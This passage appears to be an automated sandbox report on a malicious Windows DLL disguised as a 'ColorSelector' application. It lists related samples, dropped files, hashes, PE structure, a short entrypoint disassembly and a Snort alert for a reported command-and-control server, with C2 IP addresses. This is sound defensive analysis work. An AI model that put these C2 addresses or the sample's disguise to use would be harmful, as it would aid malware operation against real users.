	es5bnMRkMX.dll	Get hash	malicious	Browse	128.199.192.135
	dR3Zf1x8k9.dll	Get hash	malicious	Browse	128.199.192.135
	kHARo6LuwO.dll	Get hash	malicious	Browse	128.199.192.135
	43-4817.xlsm	Get hash	malicious	Browse	178.128.83.165
	85hZIQ6ohF.dll	Get hash	malicious	Browse	128.199.192.135
	F8uEw79Esi.dll	Get hash	malicious	Browse	128.199.192.135
	kHARo6LuwO.dll	Get hash	malicious	Browse	128.199.192.135
	CERERE DE OFERTA -02-03-2022.xlsx	Get hash	malicious	Browse	164.90.194.235
	#U00daJ RENDEL#U00c9S UD72672738.xlsx	Get hash	malicious	Browse	164.90.194.235
	Y9OmKQ0fSF.dll	Get hash	malicious	Browse	128.199.192.135
	NTfdYazZrR.dll	Get hash	malicious	Browse	128.199.192.135
	Uq5mdFn7Hn.dll	Get hash	malicious	Browse	128.199.192.135
	Uq5mdFn7Hn.dll	Get hash	malicious	Browse	128.199.192.135

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.3593198815979092
Encrypted:	false
SSDEEP:	12:SnaaD0JcaaD0JwQQU2naaD0JcaaD0JwQQU:4tgJctgJw/tgJctgJw
MD5:	BF1DC7D5D8DAD7478F426DF8B3F8BAA6
SHA1:	C6B0BDE788F553F865D65F773D8F6A3546887E42
SHA-256:	BE47C764C38CA7A90A345BE183F5261E89B98743B5E35989E9A8BE0DA498C0F2
SHA-512:	00F2412AA04E09EA19A8315D80BE66D2727C713FC0F5AE6A9334BABA539817F568A98CA3A45B2673282BDD325B8B0E2840A393A4DCFADCB16473F5EAF2AF3180
Malicious:	false
Preview:	.......................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MPEG-4 LOAS
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.24937581258926267
Encrypted:	false
SSDEEP:	1536:BJiRdfVzkZm3lyf49uyc0ga04PdHS9LrM/oVMUdSRU4Y:BJiRdwfu2SRU4Y
MD5:	CC678CDF6C52791847312ABC37107F1C
SHA1:	452112207A835F17C998206658FD1141395EC6A4
SHA-256:	F6626CB72E6B6E536EC6B16A503486EBA7AAFD066810AEDDFAC0A9761C42A694
SHA-512:	CD4BA3914D16C6C44B8C20704EFBC4A00F456A2BDA175559EE1A4EFCA2CD949975C6E163165BCA1FA68DB81639E0A318038CB80731F394E1EEE12B47359A86B6
Malicious:	false
Preview:	V.d.........@..@.3...w...........................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.........................................d#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x4f352c0c, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	786432
Entropy (8bit):	0.2503967019350795
Encrypted:	false
SSDEEP:	384:fvU+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:fvrSB2nSB2RSjlK/+mLesOj1J2
MD5:	1E32362AABC06229F7F434E43FC1D847
SHA1:	75CE50C1DC0A036510E1935D2C4AF20BE5B458D3
SHA-256:	299955127B2DD686AACCC43CCE3047F79AC254906DEE2F84DECA1FC697AFF29A
SHA-512:	C627EFDC8FFEC96F90A09A5AA964BA1753CAF5BCBFC8CF526B2708BA1058BE5592CA86EC96611435F90223E30BF6AAE15EE5FE83C707145CCD9947D24205B1D9
Malicious:	false
Preview:	O5,.... ................e.f.3...w........................)..... ....zq..9...z..h.(..... ....zq...)..............3...w...........................................................................................................B...........@...................................................................................................... ...................................................................................................................................................................................................................................................e... ....zq.................9Jno ....zq.........................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07124837602777645
Encrypted:	false
SSDEEP:	3:PR7vwcRmsFlh58jmmfS7FfB1Iill3Vkttlmlnl:PRrwcAsFlLomlt3
MD5:	B382E0AD1BC78F1A7BDDB90BA1385A29
SHA1:	5F67F01190C0FFB0165CE7D21C749AAC022D0EE5
SHA-256:	3E80E390BE4177C7C1619F190B4788B209303E785DCE8D60096A0C2AB49CB279
SHA-512:	08412D6F66FB3D73CF763CEFC76FAF260AACA663FA5B1892433A3E2CA87ED9D6CF980086D0998B57A4DD673DFD0B04C8A232717B8831C502177439A7A4AE1139
Malicious:	false
Preview:	.{.....................................3...w...9...z.. ....zq......... ....zq. ....zq..[q. ....z+.................9Jno ....zq.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\SysWOW64\regsvr32.exe
File Type:	Microsoft Cabinet archive data, 60992 bytes, 1 file
Category:	dropped
Size (bytes):	60992
Entropy (8bit):	7.994637486921971
Encrypted:	true
SSDEEP:	1536:1ccLOuSwR3W8vM1pjd8MpGwIMESUnWWiidx34:1ccLm6W8vUBCMpGwIMEDnqe4
MD5:	637481DF32351129E60560D5A5C100B5
SHA1:	A46AEE6E5A4A4893FBA5806BCC14FC7FB3CE80AE
SHA-256:	1F1029D94CA4656A577D554CEDD79D447658F475AF08620084897A5523587052
SHA-512:	604BFD0A78A57DFDDD45872803501AD89491E37E89E0778B0F13644FA9164FF509955A57469DFDD65A05BBEDAF0ACB669F68430E84800D17EFE7D360A70569E3
Malicious:	false
Preview:	MSCF....@.......,...................I.......]t........VT+V .authroot.stl.K.&.4..CK..<Tk...c_.d....A.K.....Y.f.]%.BJ$RHnT..i/.]...s.H..k....n.3.......S..9.s.....3H$M.%...h..qV.=M..].4.I.....V:F.h]......B`..,......D.0a....H.G..:...XF.F..MJ`.H. 7......._....lE..he.4\|.?....h...7..P~8.\|.,. .....#0+..o...g...}U2n............'.Dp.;..f..ljX.Dx..r<'.1RA3B0<..D.z...)D\|..8<..c..'XH..I,.Y..d.b.".A......cm_nVb[w..rDp.....y%.\|7...^.#.#[...3~3.g..CN......k;...C.`.C.iB.`-...\|.....y.(....]~`>... .p..q<..g..i...y..\|.....I...T8B.Ag#U......G.9+.x6..a.c.3...X.4E........N..:X.F...S...X...ku..O.J...)Z....PAk..%.+..n..z<.2.......w2c@.((*.J.dN...\!o@.........0..3.`.DU.3.%0.G...4Sv...5.T.?.......p..".........\|..j.4.H...g.(...^.....w.......\|...#..og)>..t.}.k.G\|.2K.5..ik.......0..~ ">......A...ku..d..Y..@D....YO.{.9..:)..L..=D..O...6.n....ui<..w.[O...P>..y.L....J......r.!.5.u.3..-`..r,aH.B <..t..8.c.{u.<'.3.........u.3..[W.....2...$..eAo.m...w...............g$m.`..

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\SysWOW64\regsvr32.exe
File Type:	data
Category:	modified
Size (bytes):	330
Entropy (8bit):	3.152637389527161
Encrypted:	false
SSDEEP:	6:kKxN+SkQlPlEGYRMY9z+4KlDA3RUeAxf1:ykPlE99SNxAhUekf1
MD5:	99311BD19DC4511E2027AED277C3B328
SHA1:	C37B25A4E0055ED3089129462CF19A389D656CAE
SHA-256:	980374998C5F8047ADF76CA612DDDBFA038057B378DE572D9CC1B807CDD30201
SHA-512:	3B5551D9CDDF44D99BC14DE5E2D6685E98BC3ADDF43C12A9650AA28076495B16DEA75E34D73AB20B3F5FDEF714BF9A2B3664B9BFBF78303CF8A3E6D62B404AC9
Malicious:	false
Preview:	p...... ........_7.....(....................................................... ........%,.)......(...........@...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".8.0.2.5.2.c.e.6.b.2.2.9.d.8.1.:.0."...

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	9062
Entropy (8bit):	3.166240218231842
Encrypted:	false
SSDEEP:	192:cY+38+DJDD+iDtJC+iw3+gF+O5+6tw+EStN+Ejy+t:j+s+5D+Me+X+u+M+j+l+x+t
MD5:	2A0E98B961FCBFBF7BBADCABE0688DBB
SHA1:	EFAA09FF77F2FC88E15FC240FAA9277A671989AC
SHA-256:	0298CCC16F3FC5BC1122994A0DF5AE34EB5B0A1B6EBDD2C197E57FA27F5DB93F
SHA-512:	E01235BDDD0473D5FFBC137642D845AA03FEC006928B8D02E593DAB156DFEEC92D0837413BBDC1B4838CE993AF59342465E38129E93CBB10B6EB0009A67E4B74
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.............-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.

Static File Info

General

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.034930766809929
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 95.51% InstallShield setup (43055/19) 4.10% Generic Win/DOS Executable (2004/3) 0.19% DOS Executable Generic (2002/1) 0.19% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	aew.dll
File size:	505856
MD5:	99f59e6f3fa993ba594a3d7077cc884d
SHA1:	839599185ae9b84ef7b4cd6bd274f4785b02fd3f
SHA256:	d9381d778e21373428040d10d06da1f739cd527686797aaeaae93a4a9698bb40
SHA512:	5d64c33f8a7f6c83e5d6ebbd3a6e2b72340e66e9d8663a8832d6db847dce0a75dc1ebaa7298df27f511678ed01bfccf4d495821cc34bca87b3faf1fdc7291447
SSDEEP:	12288:jE3TMKM/JjdkdO4+BNhOwyh4h43JopSz/o:jE3TM/JjdkSI3Ko
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]/%A.NK..NK..NK.>.&..NK.>.0..NK..NJ.9LK......NK......NK......NK......NK......NK......NK......NK.Rich.NK.........PE..L....).b...

File Icon


Icon Hash:	103636b6b6363636

Static PE Info

General

Entrypoint:	0x100247da
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x621E29B9 [Tue Mar 1 14:12:09 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	f08242131de62ca6d7c4b2727b491b3d

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F5C30A37617h
call 00007F5C30A3F8B9h
push dword ptr [ebp+08h]
mov ecx, dword ptr [ebp+10h]
mov edx, dword ptr [ebp+0Ch]
call 00007F5C30A37501h
pop ecx
pop ebp
retn 000Ch
mov edi, edi
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword ptr [ebp+10h]
mov eax, edi
sub eax, 00000000h
je 00007F5C30A38BFBh
dec eax
je 00007F5C30A38BE3h
dec eax
je 00007F5C30A38BAEh
dec eax
je 00007F5C30A38B5Fh
dec eax
je 00007F5C30A38ACFh
mov ecx, dword ptr [ebp+0Ch]
mov eax, dword ptr [ebp+08h]
push ebx
push 00000020h
pop edx
jmp 00007F5C30A37A87h
mov esi, dword ptr [eax]
cmp esi, dword ptr [ecx]
je 00007F5C30A3768Eh
movzx esi, byte ptr [eax]
movzx ebx, byte ptr [ecx]
sub esi, ebx
je 00007F5C30A37627h
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, dword ptr [ebx+ebx-01h]
mov esi, ebx
test esi, esi
jne 00007F5C30A37A7Fh
movzx esi, byte ptr [eax+01h]
movzx ebx, byte ptr [ecx+01h]
sub esi, ebx
je 00007F5C30A37627h
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, dword ptr [ebx+ebx-01h]
mov esi, ebx
test esi, esi
jne 00007F5C30A37A5Eh
movzx esi, byte ptr [eax+02h]
movzx ebx, byte ptr [ecx+02h]
sub esi, ebx
je 00007F5C30A37627h
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, dword ptr [ebx+ebx-01h]
mov esi, ebx
test esi, esi
jne 00007F5C30A37A3Dh

Rich Headers

Programming Language:

[ C ] VS2008 build 21022
[LNK] VS2008 build 21022
[ C ] VS2005 build 50727
[ASM] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[EXP] VS2008 build 21022
[C++] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x47a60	0x88	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x45d88	0xdc	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4f000	0x28ac8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x78000	0x4564	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x40818	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x39000	0x574	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x45d00	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x37e69	0x38000	False	0.572749546596	data	6.65945988142	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x39000	0xeae8	0xec00	False	0.345818988347	data	5.24547365098	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x48000	0x6778	0x2c00	False	0.311168323864	data	4.57164486131	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x4f000	0x28ac8	0x28c00	False	0.916776504985	data	7.81386296841	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x78000	0x8f6e	0x9000	False	0.322102864583	data	4.08479287276	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
\x41b\x414\x424\x42b\x428\x429\x417\x417\x415	0x4fc54	0x24000	data	English	United States
RT_CURSOR	0x73c54	0x134	data	English	United States
RT_CURSOR	0x73d88	0xb4	data	English	United States
RT_CURSOR	0x73e3c	0x134	AmigaOS bitmap font	English	United States
RT_CURSOR	0x73f70	0x134	data	English	United States
RT_CURSOR	0x740a4	0x134	data	English	United States
RT_CURSOR	0x741d8	0x134	data	English	United States
RT_CURSOR	0x7430c	0x134	data	English	United States
RT_CURSOR	0x74440	0x134	data	English	United States
RT_CURSOR	0x74574	0x134	data	English	United States
RT_CURSOR	0x746a8	0x134	data	English	United States
RT_CURSOR	0x747dc	0x134	data	English	United States
RT_CURSOR	0x74910	0x134	data	English	United States
RT_CURSOR	0x74a44	0x134	AmigaOS bitmap font	English	United States
RT_CURSOR	0x74b78	0x134	data	English	United States
RT_CURSOR	0x74cac	0x134	data	English	United States
RT_CURSOR	0x74de0	0x134	data	English	United States
RT_BITMAP	0x74f14	0xb8	data	English	United States
RT_BITMAP	0x74fcc	0x144	data	English	United States
RT_ICON	0x75110	0x2e8	data	English	United States
RT_ICON	0x753f8	0x128	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0x75520	0x2e8	data	English	United States
RT_ICON	0x75808	0x128	GLS_BINARY_LSB_FIRST	English	United States
RT_DIALOG	0x75930	0x122	data	English	United States
RT_DIALOG	0x75a54	0x34e	data	English	United States
RT_DIALOG	0x75da4	0xe8	data	English	United States
RT_DIALOG	0x75e8c	0x34	data	English	United States
RT_STRING	0x75ec0	0x4e	data	English	United States
RT_STRING	0x75f10	0x82	data	English	United States
RT_STRING	0x75f94	0x2a	data	English	United States
RT_STRING	0x75fc0	0x184	data	English	United States
RT_STRING	0x76144	0x4e6	data	English	United States
RT_STRING	0x7662c	0x264	data	English	United States
RT_STRING	0x76890	0x2da	data	English	United States
RT_STRING	0x76b6c	0x8a	data	English	United States
RT_STRING	0x76bf8	0xac	data	English	United States
RT_STRING	0x76ca4	0xde	data	English	United States
RT_STRING	0x76d84	0x4a8	data	English	United States
RT_STRING	0x7722c	0x228	data	English	United States
RT_STRING	0x77454	0x2c	data	English	United States
RT_STRING	0x77480	0x42	data	English	United States
RT_GROUP_CURSOR	0x774c4	0x22	Lotus unknown worksheet or configuration, revision 0x2	English	United States
RT_GROUP_CURSOR	0x774e8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0x774fc	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0x77510	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0x77524	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0x77538	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0x7754c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0x77560	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0x77574	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0x77588	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0x7759c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0x775b0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0x775c4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0x775d8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0x775ec	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_ICON	0x77600	0x22	data	English	United States
RT_GROUP_ICON	0x77624	0x22	data	English	United States
RT_VERSION	0x77648	0x324	data	English	United States
RT_MANIFEST	0x7796c	0x15a	ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	RaiseException, VirtualProtect, VirtualAlloc, GetSystemInfo, VirtualQuery, Sleep, HeapSize, TerminateProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapCreate, HeapDestroy, VirtualFree, GetStdHandle, SetHandleCount, GetFileType, GetStartupInfoA, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, RtlUnwind, GetSystemTimeAsFileTime, GetACP, IsValidCodePage, InitializeCriticalSectionAndSpinCount, GetStringTypeA, GetStringTypeW, GetTimeZoneInformation, GetConsoleCP, GetConsoleMode, LCMapStringA, LCMapStringW, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CompareStringW, SetEnvironmentVariableA, HeapReAlloc, GetCommandLineA, HeapAlloc, HeapFree, GetTickCount, GetFileTime, GetFileSizeEx, GetFileAttributesA, FileTimeToLocalFileTime, CreateFileA, GetFullPathNameA, GetVolumeInformationA, FindFirstFileA, FindClose, GetCurrentProcess, DuplicateHandle, GetFileSize, SetEndOfFile, UnlockFile, LockFile, FlushFileBuffers, SetFilePointer, WriteFile, ReadFile, WritePrivateProfileStringA, GetOEMCP, GetCPInfo, InterlockedIncrement, GetModuleHandleW, TlsFree, LocalReAlloc, TlsSetValue, TlsAlloc, GlobalHandle, GlobalReAlloc, TlsGetValue, LocalAlloc, FileTimeToSystemTime, GetThreadLocale, GlobalFlags, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSection, InterlockedDecrement, CloseHandle, GetCurrentThread, ConvertDefaultLocale, EnumResourceLanguagesA, GetLocaleInfoA, InterlockedExchange, lstrcmpA, FreeResource, GetCurrentThreadId, GlobalGetAtomNameA, GlobalAddAtomA, GlobalFindAtomA, GlobalDeleteAtom, FreeLibrary, CompareStringA, lstrcmpW, GetVersionExA, LoadLibraryA, GetModuleHandleA, GetProcAddress, GlobalFree, FormatMessageA, LocalFree, MulDiv, lstrlenA, GetCurrentProcessId, GetModuleFileNameA, GetLastError, SetLastError, MultiByteToWideChar, LockResource, GlobalUnlock, SizeofResource, WideCharToMultiByte, GlobalAlloc, GlobalLock, LoadResource, FindResourceA, QueryPerformanceCounter, ExitProcess
USER32.dll	RegisterClipboardFormatA, PostThreadMessageA, LoadCursorA, GetSysColorBrush, DestroyMenu, GetDesktopWindow, CreateDialogIndirectParamA, GetNextDlgTabItem, EndDialog, GetMessageA, TranslateMessage, GetActiveWindow, GetCursorPos, ValidateRect, SetWindowContextHelpId, MapDialogRect, SetCursor, PostQuitMessage, ShowWindow, MoveWindow, SetWindowTextA, IsDialogMessageA, RegisterWindowMessageA, SendDlgItemMessageA, WinHelpA, GetCapture, SetWindowsHookExA, CallNextHookEx, GetClassLongA, GetClassNameA, SetPropA, GetPropA, RemovePropA, SetFocus, GetWindowTextA, GetForegroundWindow, SetActiveWindow, GetDlgItem, GetTopWindow, DestroyWindow, UnhookWindowsHookEx, GetMessageTime, GetMessagePos, PeekMessageA, GetKeyState, SetMenu, SetForegroundWindow, IsWindowVisible, UpdateWindow, CreateWindowExA, GetClassInfoExA, GetClassInfoA, RegisterClassA, AdjustWindowRectEx, EqualRect, GetDlgCtrlID, DefWindowProcA, CallWindowProcA, GetMenu, SetWindowLongA, SetWindowPos, IntersectRect, SystemParametersInfoA, GetWindowPlacement, GetWindowRect, GetWindow, CopyRect, IsWindow, EnableWindow, SendMessageA, SetClipboardData, MapWindowPoints, EndPaint, BeginPaint, GetWindowDC, ReleaseDC, GetDC, ClientToScreen, GrayStringA, DrawTextExA, DrawTextA, TabbedTextOutA, MessageBeep, GetNextDlgGroupItem, InvalidateRgn, SetRect, IsRectEmpty, CopyAcceleratorTableA, CharNextA, CharUpperA, DispatchMessageA, GetSystemMetrics, OpenClipboard, PostMessageA, AppendMenuA, EmptyClipboard, InvalidateRect, GetClientRect, DrawIcon, LoadIconA, IsIconic, GetSystemMenu, CloseClipboard, ReleaseCapture, FrameRect, GetSysColor, OffsetRect, InflateRect, PtInRect, GetParent, SetCapture, CheckMenuItem, EnableMenuItem, GetMenuState, ModifyMenuA, GetFocus, LoadBitmapA, GetMenuCheckMarkDimensions, SetMenuItemBitmaps, MessageBoxA, IsWindowEnabled, GetLastActivePopup, GetWindowLongA, GetWindowThreadProcessId, GetSubMenu, GetMenuItemCount, GetMenuItemID, IsChild
GDI32.dll	ExtSelectClipRgn, DeleteDC, CreatePen, ScaleWindowExtEx, CreateRectRgnIndirect, GetMapMode, GetBkColor, GetTextColor, GetRgnBox, SetWindowExtEx, ScaleViewportExtEx, SetViewportExtEx, OffsetViewportOrgEx, SetViewportOrgEx, SelectObject, Escape, ExtTextOutA, TextOutA, RectVisible, PtVisible, GetStockObject, GetWindowExtEx, GetViewportExtEx, GetObjectA, DeleteObject, GetClipBox, SetMapMode, SetTextColor, SetBkColor, RestoreDC, SaveDC, GetDeviceCaps, SetBrushOrgEx, CreateBitmap, CreateBrushIndirect, Ellipse, CreateSolidBrush
COMDLG32.dll	GetFileTitleA
WINSPOOL.DRV	DocumentPropertiesA, ClosePrinter, OpenPrinterA
ADVAPI32.dll	RegSetValueExA, RegCreateKeyExA, RegQueryValueA, RegOpenKeyA, RegEnumKeyA, RegDeleteKeyA, RegOpenKeyExA, RegQueryValueExA, RegCloseKey
SHLWAPI.dll	ColorRGBToHLS, ColorHLSToRGB, PathFindFileNameA, PathStripToRootA, PathIsUNCA, ColorAdjustLuma, PathFindExtensionA
oledlg.dll
ole32.dll	CoRevokeClassObject, OleInitialize, CoFreeUnusedLibraries, OleUninitialize, CreateILockBytesOnHGlobal, StgCreateDocfileOnILockBytes, StgOpenStorageOnILockBytes, CoGetClassObject, OleIsCurrentClipboard, CLSIDFromString, CLSIDFromProgID, CoTaskMemAlloc, CoTaskMemFree, OleFlushClipboard, CoRegisterMessageFilter
OLEAUT32.dll	SysFreeString, SysAllocStringByteLen, VariantClear, VariantChangeType, VariantInit, SysAllocStringLen, VariantCopy, SafeArrayDestroy, VariantTimeToSystemTime, SystemTimeToVariantTime, OleCreateFontIndirect, SysAllocString, SysStringLen

Exports

Name	Ordinal	Address
DllRegisterClass	3	0x10005cc0
DllRegisterServer	1	0x10005ca0
DllUnregisterServer	2	0x10005cc0

Version Infos

Description	Data
LegalCopyright	Copyright (C) 2004
InternalName	ColorSelector
FileVersion	1, 0, 0, 1
CompanyName
LegalTrademarks
ProductName	ColorSelector Application
ProductVersion	1, 0, 0, 1
FileDescription	ColorSelector MFC Application
OriginalFilename	ColorSelector.EXE
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/02/22-19:57:39.831901	TCP	2404322	ET CNC Feodo Tracker Reported CnC Server TCP group 12	49758	8080	192.168.2.7	195.154.253.60

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 2, 2022 19:57:35.311382055 CET	49753	8080	192.168.2.7	209.15.236.39
Mar 2, 2022 19:57:35.421417952 CET	8080	49753	209.15.236.39	192.168.2.7
